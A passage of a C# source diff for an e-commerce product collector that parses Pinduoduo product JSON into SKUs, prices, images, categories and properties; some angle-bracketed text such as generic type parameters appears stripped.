spec_key; + p.pinduoduo_id = spec_key_id; + var spec_values = "[{" + BaseRegex.GetMatchRegexString(ref specStr, @"""spec_values"":\[\{([\w\W]+?)\}\]") + "}]"; + if (spec_values == "[{}]") + spec_values = BaseRegex.GetMatchRegexString(ref specStr, @"""spec_values"":\[([\w\W]+?)\]"); + var mc = BaseRegex.GetMatchRegex(ref spec_values, @"\{""([^}]+?)"":""([^}]+?)""\}"); + if (mc.Count > 0) + { + for (int j = 0; j < mc.Count; j++) + { + PropValueBase pv = new PropValueBase(); + pv.id = mc[j].Groups[1].Value; + pv.name = mc[j].Groups[2].Value; + p.Values.Add(pv); + } + } + else + { + try + { + List> dicList = JsonHelper.DeserializeJsonToList>(spec_values); + if (dicList != null) + { + foreach (var item in dicList) + { + if (item.Keys.Count > 0) + { + PropValueBase pv = new PropValueBase(); + pv.id = item.Keys.FirstOrDefault(); + pv.name = item.Values.FirstOrDefault(); + p.Values.Add(pv); + } + } + } + } + catch (Exception ex) { } + } + pb.Props.Add(p); + } + + string skumaps = ja["data"]["sku"].ToString(); + var vSkuProps = JArray.Parse(skumaps)?.ToObject>(); + for (int i = 0; i < vSkuProps.Count; i++) + { + var list = vSkuProps[i].ToString(); + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "sku_id"); + s.price = BaseRegex.GetDecimalJson(ref list, "group_price"); + s.number = BaseRegex.GetIntJson(ref list, "quantity"); + s.sale_count = BaseRegex.GetIntJson(ref list, "sold_quantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumb_url"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + s.skuPreSaleTip = BaseRegex.GetStringJson(ref list, "sku_pre_sale_tip"); + s.skuPreTime = BaseRegex.GetLongJson(ref list, "sku_pre_sale_time"); + s.spec_pinduoduo = BaseRegex.GetStringJson(ref list, "spec"); + var pvalue = BaseRegex.GetMatchRegexString(html, @"""skuId"":" + s.id + @",""activityCopyWriting"":""券后¥([\w\W]+?)"","); + if (!string.IsNullOrEmpty(pvalue)) + s.quanPrice = decimal.Parse(pvalue); + string specs = BaseRegex.GetStringJson(ref list, "spec"); + string[] specItem = specs.Split(','); + string temp = ""; + for (int k = 0; k < specItem.Length; k++) + { + var item = specItem[k]; + bool ishas = false; + for (int j = 0; j < pb.Props.Count; j++) + { + if (ishas) + break; + for (int q = 0; q < pb.Props[j].Values.Count; q++) + { + if (pb.Props[j].Values[q].id.ToString() == item) + { + temp += pb.Props[j].name + ":" + pb.Props[j].Values[q].name + ";"; + ishas = true; + break; + } + } + } + } + s.name = temp; + UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + //s.name = GetNewName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + foreach (var propGroup in pb.Props) + { + foreach (var pv in propGroup.Values) + { + if (pv.id == s.spec_pinduoduo?.Split(',')[0]) + { + if (string.IsNullOrEmpty(pv.image)) + { + pv.image = pv.image_from_url = s.prop_image; + } + break; + } + } + } + } + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + pb.cat1 = BaseRegex.GetIntJson(ref goodStr, "cat_id_1"); + pb.cat2 = BaseRegex.GetIntJson(ref goodStr, "cat_id_2"); + pb.cat3 = BaseRegex.GetIntJson(ref goodStr, "cat_id_3"); + pb.cat_id = BaseRegex.GetIntJson(ref goodStr, "cat_id"); + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + pb.before_price = BaseRegex.GetIntJson(ref goodStr, "market_price") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + + string goodPropertyStr = ja["data"]["goods"]["goods_property"]?.ToString(); + if (!string.IsNullOrEmpty(goodPropertyStr)) + { + goodPropertyStr = goodPropertyStr.Replace("\r\n", "").Replace(" ", ""); + m = BaseRegex.GetMatchRegex(ref goodPropertyStr, @"\{""key"":""([^""]+?)"",""values"":\[([\w\W]+?)\]"); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string val = m[i].Groups[2].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + + } + pb.mall_id = BaseRegex.GetLongJson(ref goodStr, "mall_id"); + pb.from_site_id = 2; + pb.price = 0; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref goodStr, "side_sales_tip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "0000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + if (html.Contains("class=\"RWpliLUr\"") && html.Contains("https://pinduoduoimg.yangkeduo.com/deposit/global_shopping.png")) + { + pb.main_cid = Product.MainCatId = 8; + pb.main_cat_name = Product.MainCatName = "海淘进口"; + pb.country = Product.country = BaseRegex.GetStringJson(ref html, "countryDesc").Replace("品牌", ""); + } + if (TaobaoMobileCollect.ProductTemp.Count > 100000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id)) + { + try + { + TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb); + } + catch + { + } + } + else + { + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + } + } + } + catch (Exception ex) + { + + } + + } + #endregion + + #region 大麦解析 + if (html.Contains("cat_id_1") && pb.SkuMaps.Count == 0) + { + try + { + JObject ja = JObject.Parse(html); + html = html.Replace("\r\n", "").Replace(" ", ""); + if (!html.Contains(@"""is_onsale"":1") || DeleteAndDown(html)) + { + if (!userData) + { + ServerTemp.Set(2, Product.FromId.ToString(), html); + BigDataBuild.Delete(Product.FromId, 2); + } + //LogSave.Add(Name, "商品获取成功:" + Product.FromId + "商品已下架"); + message = "商品获取成功:" + Product.FromId + "商品已下架"; + if (IsAdvance) + { + message = "预售商品" + Product.FromId + ",跳过"; + } + OnSale = false; + pb.message = message; + Product.Message = message; + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + return; + } + if (ja["goods"] != null) + { + string goodStr = ja["goods"].ToString(); + pb.from = "拼多多"; + pb.id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.from_id = BaseRegex.GetLongJson(ref goodStr, "goods_id"); + pb.name = BaseRegex.GetStringJson(ref goodStr, "goods_name"); + //pb.name_share = BaseRegex.GetStringJson(ref html, "goods_desc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mall_name"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goods_desc"); + string gallerys = ja["goods"]["gallery"].ToString(); + gallerys = gallerys.Replace("\r\n", "").Replace(" ", ""); + var m = BaseRegex.GetMatchRegex(ref gallerys, @"{[^}]+?""url""[^}]+?}"); + string content = ""; + for (int i = m.Count - 1; i >= 0; i--) + { + var item = m[i].Groups[0].Value; + int type = BaseRegex.GetIntJson(ref item, "type"); + if (type == 1) + { + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + pb.Images.Add(img); + } + else + { + if (type == 6) + continue; + string img = BaseRegex.GetStringJson(ref item, "url"); + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + int width = BaseRegex.GetIntJson(ref item, "width"); + int height = BaseRegex.GetIntJson(ref item, "height"); + content += ""; + } + } + + string skumaps = ja["sku"].ToString(); + var vSkuProps = JArray.Parse(skumaps)?.ToObject>(); + //skumaps = skumaps.Replace("\r\n", "").Replace(" ", ""); + //m = BaseRegex.GetMatchRegex(ref skumaps, @"""default_quantity""[^}]+?""sku_id"".*?\}\].*?\}"); + //if (m==null||m.Count==0) + // m = BaseRegex.GetMatchRegex(ref skumaps, @"""default_quantity""[^}]+?""sku_id"".*?\}"); + //if (m == null || m.Count == 0) + // m = BaseRegex.GetMatchRegex(ref skumaps, @"""sku_id"".*?\}\].*?\}"); + for (int i = 0; i < vSkuProps.Count; i++) + { + var list = vSkuProps[i].ToString(); + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "sku_id"); + s.price = BaseRegex.GetDecimalJson(ref list, "group_price") / 100; + //if (s.price < 1) + // continue; + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "is_onsale") == 1 ? 99 : 0; + if (num < 3) + num = 0; + if (s.number > num) + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "sold_quantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumb_url"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + + UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + s.name = GetNewName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + pb.cat1 = BaseRegex.GetIntJson(ref goodStr, "cat_id_1"); + pb.cat2 = BaseRegex.GetIntJson(ref goodStr, "cat_id_2"); + pb.cat3 = BaseRegex.GetIntJson(ref goodStr, "cat_id_3"); + pb.cat_id = BaseRegex.GetIntJson(ref goodStr, "cat_id"); + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + pb.before_price = BaseRegex.GetIntJson(ref goodStr, "market_price") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + + string goodPropertyStr = ja["goods"]["goods_property"]?.ToString(); + if (!string.IsNullOrEmpty(goodPropertyStr)) + { + goodPropertyStr = goodPropertyStr.Replace("\r\n", "").Replace(" ", ""); + m = BaseRegex.GetMatchRegex(ref goodPropertyStr, @"\{[^}]+?""values"":\[([\w\W]+?)\],""key"":""([^""]+?)""\}"); + if (m == null || m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref goodPropertyStr, @"\{""key"":""([^""]+?)"",[^}]+?""values"":\[([\w\W]+?)\]\}"); + } + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string val = m[i].Groups[2].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + if (m == null || m.Count == 0) + { + var prop = JArray.Parse(goodPropertyStr).ToObject>(); + for (int i = 0; i < prop.Count; i++) + { + var propStr = prop[i].ToString(); + propStr = propStr.Replace("\r\n", "").Replace(" ", ""); + var pkey = BaseRegex.GetStringJson(ref propStr, "key"); + var pvalue = BaseRegex.GetMatchRegexString(propStr, @"""values"":\[([^<]+)\]"); + var list = BaseRegex.GetMatchRegex(ref pvalue, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(pkey) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(pkey, v)); + } + } + } + pb.mall_id = BaseRegex.GetLongJson(ref goodStr, "mall_id"); + pb.from_site_id = 2; + pb.price = 0; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref goodStr, "side_sales_tip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "0000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + + //if (!userData) + // ServerTemp.Set(2, Product.FromId.ToString(), html); + + if (html.Contains("class=\"RWpliLUr\"") && html.Contains("https://pinduoduoimg.yangkeduo.com/deposit/global_shopping.png")) + { + pb.main_cid = Product.MainCatId = 8; + pb.main_cat_name = Product.MainCatName = "海淘进口"; + pb.country = Product.country = BaseRegex.GetStringJson(ref html, "countryDesc").Replace("品牌", ""); + } + + if (TaobaoMobileCollect.ProductTemp.Count > 100000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id)) + { + try + { + TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb); + } + catch + { + } + } + else + { + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + } + } + } + catch + { + + } + + } + #endregion + + if (html.Contains("cat_id_1") && !html.Contains("share_desc")) + { + GenerateProductInfo(html); + return; + } + #region 从 http://api.yangkeduo.com/v5/goods获取的数据 手机数据 + html = html.Replace(" ", ""); + if (html.Contains("cat_id_1") && pb.SkuMaps.Count == 0) + { + if (!html.Contains(@"""is_onsale"":1") || DeleteAndDown(html)) + { + if (!userData) + { + ServerTemp.Set(2, Product.FromId.ToString(), html); + BigDataBuild.Delete(Product.FromId, 2); + } + //LogSave.Add(Name, "商品获取成功:" + Product.FromId + "没有在线sku"); + message = "商品获取成功:" + Product.FromId + "商品已下架"; + OnSale = false; + if (!DeleteIds.Contains(Product.FromId)) + DeleteIds.Add(Product.FromId); + return; + } + html = GetHtml.Decode(html); + pb.from = "拼多多"; + pb.id = Product.FromId; + pb.from_id = Product.FromId; + LogSave.Add(Name, "获取成功:" + Product.FromId); + pb.name = BaseRegex.GetStringJson(ref html, "goods_name"); + pb.name_share = BaseRegex.GetStringJson(ref html, "share_desc"); + pb.from_shop_name = BaseRegex.GetStringJson(ref html, "mallName"); + pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goods_desc"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""gallery"":\[(.*?)\]"); + var m = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"",""width"":([\d]+),""height"":([\d]+),""priority"":([\d]+),""type"":([\d]+)"); + string content = ""; + Dictionary mainImage = new Dictionary(); + Dictionary contentImage = new Dictionary(); + for (int i = 0; i < m.Count; i++) + { + string item = m[i].Groups[0].Value; + int type = int.Parse(m[i].Groups[5].Value); + if (type == 6) + continue; + if (type == 1) + { + string img = m[i].Groups[1].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + int index = BaseRegex.GetIntJson(ref item, "priority");//int.Parse(m[i].Groups[4].Value); + mainImage.Add(index, img); + //pb.Images.Add(img); + } + else + { + string img = m[i].Groups[1].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + //int width = int.Parse(m[i].Groups[2].Value); + //int height = int.Parse(m[i].Groups[3].Value); + int index = BaseRegex.GetIntJson(ref item, "priority");// int.Parse(m[i].Groups[4].Value); + contentImage.Add(index, img); + //content += ""; + } + } + + var mainlst = mainImage.OrderBy(p => p.Key).ToList(); + for (int i = 0; i < mainlst.Count; i++) + { + pb.Images.Add(mainlst[i].Value); + } + var contentlst = contentImage.OrderBy(p => p.Key).ToList(); + for (int i = 0; i < contentlst.Count; i++) + { + content += ""; + } + + m = BaseRegex.GetMatchRegex(ref html, @"\{""sku_id"".*?\}\].*?\}"); + for (int i = 0; i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + SkuMapBase s = new SkuMapBase(); + s.id = BaseRegex.GetLongJson(ref list, "sku_id"); + s.price = BaseRegex.GetDecimalJson(ref list, "group_price") / 100; + if (s.price < 1) + continue; + int num = BaseRegex.GetIntJson(ref list, "quantity"); + s.number = BaseRegex.GetIntJson(ref list, "is_onsale") == 1 ? 99 : 0; + if (num < 3) + num = 0; + if (s.number > num) + s.number = num; + s.sale_count = BaseRegex.GetIntJson(ref list, "sold_quantity"); + pb.saleCount += s.sale_count; + s.prop_image = BaseRegex.GetStringJson(ref list, "thumb_url"); + if (!string.IsNullOrEmpty(s.prop_image)) + s.prop_image = s.prop_image.Replace("@750w_1l_50Q", ""); + if (s.prop_image.Contains("?")) + s.prop_image = s.prop_image.Substring(0, s.prop_image.IndexOf("?")); + UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0); + s.name = GetName(list, ref pb, s.prop_image); + pb.SkuMaps.Add(s); + } + + decimal maxPriceNew = 0; + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + if (maxPriceNew < pb.SkuMaps[i].price) + maxPriceNew = pb.SkuMaps[i].price; + } + string firstSkuImage = pb.SkuMaps[0].prop_image; + if (pb.Props.Count == 1) + { + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + bool ishad = false; + for (int k = 0; k < pb.SkuMaps.Count; k++) + { + if (pb.SkuMaps[k].name.Contains(pb.Props[0].Values[j].name)) + { + ishad = true; + break; + } + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";"; + pb.SkuMaps.Add(sm); + } + + } + } + + if (pb.Props.Count == 2) + { + + for (int j = 0; j < pb.Props[0].Values.Count; j++) + { + for (int k = 0; k < pb.Props[1].Values.Count; k++) + { + bool ishad = false; + for (int l = 0; l < pb.SkuMaps.Count; l++) + { + + string[] li = pb.SkuMaps[l].name.Split(';'); + if (li.Length == 2) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1) + { + ishad = true; + break; + } + + } + if (li.Length == 3) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + if (li.Length == 4) + { + string n1 = li[0].Substring(li[0].IndexOf(":") + 1); + string n2 = li[1].Substring(li[1].IndexOf(":") + 1); + string n3 = li[2].Substring(li[2].IndexOf(":") + 1); + string n4 = li[3].Substring(li[3].IndexOf(":") + 1); + if (pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n2 || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + || pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + || pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + { + ishad = true; + break; + } + } + + } + if (!ishad) + { + SkuMapBase sm = new SkuMapBase(); + sm.id = BaseClass.GetTime(DateTime.Today); + sm.price = maxPriceNew; + sm.number = 0; + sm.sale_count = 0; + pb.saleCount += sm.sale_count; + sm.prop_image = firstSkuImage; + sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";"; + pb.SkuMaps.Add(sm); + } + } + } + } + + pb.cat1 = BaseRegex.GetIntJson(ref html, "cat_id_1"); + pb.cat2 = BaseRegex.GetIntJson(ref html, "cat_id_2"); + pb.cat3 = BaseRegex.GetIntJson(ref html, "cat_id_3"); + pb.cat_id = BaseRegex.GetIntJson(ref html, "cat_id"); + + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + + pb.before_price = BaseRegex.GetIntJson(ref html, "market_price") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + Product.Cat1 = pb.cat1; + Product.Cat2 = pb.cat2; + Product.Cat3 = pb.cat3; + Product.Cat4 = pb.cat4; + Product.CatId = pb.cat_id; + Product.MainCatId = pb.main_cid; + Product.MainCatName = pb.main_cat_name; + string sepc = BaseRegex.GetMatchRegexString(ref html, @"(""goods_property"":\[\{([\w\W]+?)\}\])"); + m = BaseRegex.GetMatchRegex(ref sepc, @"\{""key"":""([^""]+?)"",""values"":\[([\w\W]+?)\][\w\W]+?\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[1].Value; + string val = m[i].Groups[2].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + pb.mall_id = BaseRegex.GetLongJson(ref html, "mall_id"); + pb.from_site_id = 2; + pb.price = Product.Price; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref html, "sold_quantity"); + if (string.IsNullOrEmpty(sale)) + { + sale = BaseRegex.GetStringJson(ref html, "side_sales_tip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + } + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + Product.SaleCount = pb.saleCount; + if (!userData) + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = Product.FromId.ToString(), SaveHtml = html }); + //ServerTemp.Set(2, Product.FromId.ToString(), html); + } + #endregion + + + if (html.Contains("class=\"RWpliLUr\"") && html.Contains("https://pinduoduoimg.yangkeduo.com/deposit/global_shopping.png")) + { + pb.main_cid = Product.MainCatId = 8; + pb.main_cat_name = Product.MainCatName = "海淘进口"; + pb.country = Product.country = BaseRegex.GetStringJson(ref html, "countryDesc").Replace("品牌", ""); + } + if (pb.cat3 == 3109) + { + var pro = pb.Props.Where(s => s.name.Contains("容量")).FirstOrDefault(); + if (pro == null) + { + string mah = BaseRegex.GetMatchRegexString(ref pb.name, @"([\d]+)毫安"); + PropBase p = new PropBase(); + p.pinduoduo_id = "140871455"; + p.id = 140871455; + p.name = "电池容量"; + PropValueBase pr = new PropValueBase(); + pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + pr.name = mah + "毫安"; + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = ""; + pr.image_from_url = ""; + p.Values.Add(pr); + pb.Props.Add(p); + for (int i = 0; i < pb.SkuMaps.Count; i++) + { + var sku = pb.SkuMaps[i]; + sku.name = sku.name + ";" + mah + "毫安"; + sku.nameLite = sku.nameLite + mah + "毫安"; + } + } + else + { + if (string.IsNullOrEmpty(pro.pinduoduo_id)) + { + pro.pinduoduo_id = "140871455"; + pro.id = 140871455; + } + for (int i = 0; i < pro.Values.Count; i++) + { + var pr = pro.Values[i]; + string mah = BaseRegex.GetMatchRegexString(ref pr.name, @"([\d]+)毫安"); + pr.id = PinduoduoCatList.GetDianYuanId(int.Parse(mah)).ToString(); + pr.value = pr.id; + } + } + } + + if (Product.FromType == "搜款网净化") + { + string jhtml = ServerTemp.GetJinHuaCache(Product.FromId.ToString()); + AslasyHtml(jhtml); + } + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id)) + { + try + { + + TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb); + } + catch + { + } + } + else + { + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + } + } + + public string GetNameNew(string list, ref ProductCollectBase pb, string image) + { + string temp = ""; + var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value_id"":([\d]+)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""specKey"":""([^""]+?)"",""specValue"":""([^""]+?)"""); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_value_id"":([\d]+),""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+)"); + for (int i = 0; i < m.Count; i++) + { + temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[i].Groups[1].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = m[i].Groups[1].Value; + if (m[i].Groups.Count > 3) + p.pinduoduo_id = m[i].Groups[3].Value; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == m[i].Groups[2].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + if (m[i].Groups.Count > 4) + pv.id = m[i].Groups[4].Value; + pv.name = m[i].Groups[2].Value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + } + public void AslasyHtml(string html) + { + if (string.IsNullOrEmpty(html) || html == "null") + return; + try + { + //string title = BaseRegex.GetStringJson(ref html, "fession_title"); + //string[] goodTitle = title.Split(';'); + //主图 + string mainPic = BaseRegex.GetStringJson(ref html, "main_pic"); + string[] images = mainPic.Split(';'); + pb.Images.Clear(); + for (int i = 0; i < images.Length; i++) + { + string img = images[i]; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + pb.Images.Add(img); + } + //详情图 + string container_info = BaseRegex.GetMatchRegexString(ref html, @"""container_info"":""(.*?)"""); + string[] contentimage = container_info.Split(';'); + var m = BaseRegex.GetMatchRegex(ref container_info, @""); + string content = ""; + for (int i = 0; i < m.Count; i++) + { + string img = m[i].Groups[0].Value; + if (img.Contains("?")) + img = img.Substring(0, img.IndexOf("?")); + content += img; + } + pb.content = content; + pb.Props.Clear(); + string temp = ""; + m = BaseRegex.GetMatchRegex(ref html, + @"\{""id"":([-\d]+),""name"":""([^}]+)"",""pinduoduo_name"":[^}]+?,""Values"":\[([\w\W]+?)\]\}"); + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + p.id = long.Parse(m[i].Groups[1].Value); + p.name = m[i].Groups[2].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + 